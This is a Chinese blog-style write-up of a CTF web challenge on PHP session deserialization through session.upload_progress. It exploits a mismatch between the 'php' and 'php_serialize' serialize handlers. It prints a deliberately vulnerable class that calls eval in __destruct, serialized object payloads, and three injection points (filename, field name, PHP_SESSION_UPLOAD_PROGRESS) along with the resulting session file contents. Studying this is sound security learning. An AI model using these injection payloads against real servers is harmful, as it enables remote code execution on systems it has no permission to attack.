session与session.upload_progress再认识

题目:海河工匠

<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php');
session_start();
highlight_file(__FILE__);
class Demo{
    public $test;
    function __destruct(){
        eval($this->test);
    }
}
?>

子目录泄露,访问phpinfo.php页面

发现php.ini中是php_serialize、但是index.php里面设置为了php、并且有session_start(自动反序列化),同时修改了progress.name,也开启了cleanup和enabled,所以可以通过session上传进度,上传session文件,内容为反序列化内容,同时条件竞争即可。

结合:

WEB82-session文件包含

WEB263-session反序列化

进一步了解session和session.upload_progress知识

一、

cleanup 只会清除session文件内容,不会清楚session文件

二、

当页面使用ini_set修改php.ini文件的内容时,phpinfo()里面的local value内容也会修改

我们在脚本使用了ini_set('session.serialize_handler', 'php'); 而php.ini中使用的php_serialize

所以phpinfo()显示为:

三、

关于session.auto_start并且脚本里面没有session_start()函数时,cookie里面不会有PHPSESSID。

四、

PHPSESSID:

参考链接:cookie 中的 PHPSESSID_树洞树洞-单纯记录-CSDN博客_phpsessid

如果PHP脚本中有:

session_start();

则说明使用了SESSION。 

SESSION是一种机制,可以在服务器端跨文件暂时保存数据或传递数据,常用于购物车等方面。SESSION只在用户关闭浏览器之前有效。

PHP是怎样识别不同的SESSION的呢?

每一次SESSION会话都有一个SESSION ID,用来识别不同的会话,保存在浏览器Cookie之中,也就是这个名为PHPSESSID的Cookie

当然,通过修改session.name的值,这个名称是可以更改的。

浏览器将Cookie(包括PHPSESSID)发送给服务器,PHP才知道应该使用哪一个SESSION传递给PHP程序。

当php.ini(Windows下PHP的配置文件)中的

session.auto_start = On

时,PHP会自动创建SESSION,改为:

session.auto_start = Off

PHP就不会自动创建SESSION了。

 但当session.auto_start=off的时候,若脚本中有这么一行代码:

session_start();

那么即使session.auto_start = Off,cookie里面也会自动创建一个PHPSEEID

 这个PHPSESSION 的值就是session文件名字的一部分

文件名为:sess_PHPSESSID的值

这里因为有sess_start(),所以会自动创建一个PHPSESSID,我把它的值修改为flag

那么对应的session文件为:

 五、

当脚本中没有session_start()同时seesion.auto_start()=Off的时候,cookie中是没有PHPSESSID这个东西的。

但是可以通过session.use_strict_mode=0;(默认关闭)

所以我们能自己创建一个session文件,但是要配合session上传进度使用才会有对应的session文件。

这样是没有xxx这个session文件的

这样才有okokxxx这个session文件,且内容不为空

五.1、

同时在对一个同时有session_start()代码和ini_set('session.serialize_handler', 'php或者php_serialize')代码的页面使用session上传进度的时候

对没有session__start()的页面没有影响

能成功反序列化则sessoin文件不为空

session文件内容为:

 a:1:{s:23:"upload_progress_payload";a:5:{s:10:"start_time";i:1635162635;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}

若是正常上传session进度,则存在session文件,但是内容为空

若待反序列化的字符串是错误的,则不存在session文件

六、

在session上传的时候,有时候会出现PHPSESSID有时候会没有,比如会这样:

有PHPSESSID

无PHPSESSID

原因:没有PHPSESSID是因为在使用session上传进度之前我们删除了目标页面对应的PHPSESSID,没有的话自己加上也是可以的

七、

上传目标页面:

<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php');
highlight_file(__FILE__);
?>

当php.ini配置为session.serialize_handler=php_serialize,而当前页面为session.serialize_handler=php

 使用session上传进度 

session文件内容:

a:1:{s:23:"upload_progress_payload";a:5:{s:10:"start_time";i:1635170318;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}";s:8:"tmp_name";s:26:"/private/var/tmp/phpOr9kMY";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1635170318;s:15:"bytes_processed";i:1312;}}}}

上传目标页面:

<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php_serialize');
highlight_file(__FILE__);
?>

当php.ini配置为session.serialize_handler=php,而当前页面为session.serialize_handler=php_serialize

 使用session上传进度

 session文件内容:

upload_progress_payload|a:5:{s:10:"start_time";i:1635170618;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}";s:8:"tmp_name";s:26:"/private/var/tmp/phpirELYU";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1635170618;s:15:"bytes_processed";i:1312;}}}

所以利用session上传进度设置session文件内容时,不管页面的ini_set('session.serialize_handler', 'php');设置为php还是php_serialize,都是按照php.ini里面的session.serialize_handler来设置的。

八、

session上传进度三个反序列化点:

目标页面:

<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
highlight_file(__FILE__);
class Demo{
    public $test;
    function __destruct(){
        eval($this->test);
    }
}
?>

(1)修改filename,需要转义,在双引号前面加上\

session文件内容 

a:1:{s:19:"upload_progress_123";a:5:{s:10:"start_time";i:1635176574;s:14:"content_length";i:1664;s:15:"bytes_processed";i:1664;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}

(2)修改name,需要转义,在双引号前面加上\

session文件内容:

a:1:{s:19:"upload_progress_123";a:5:{s:10:"start_time";i:1635176884;s:14:"content_length";i:1664;s:15:"bytes_processed";i:1664;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}

(3)同进行session文件包含一样,修改PHP_SESSION_UPLOAD_PROGRESS的值

这里不需要转义

 session文件内容

a:1:{s:61:"upload_progress_|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值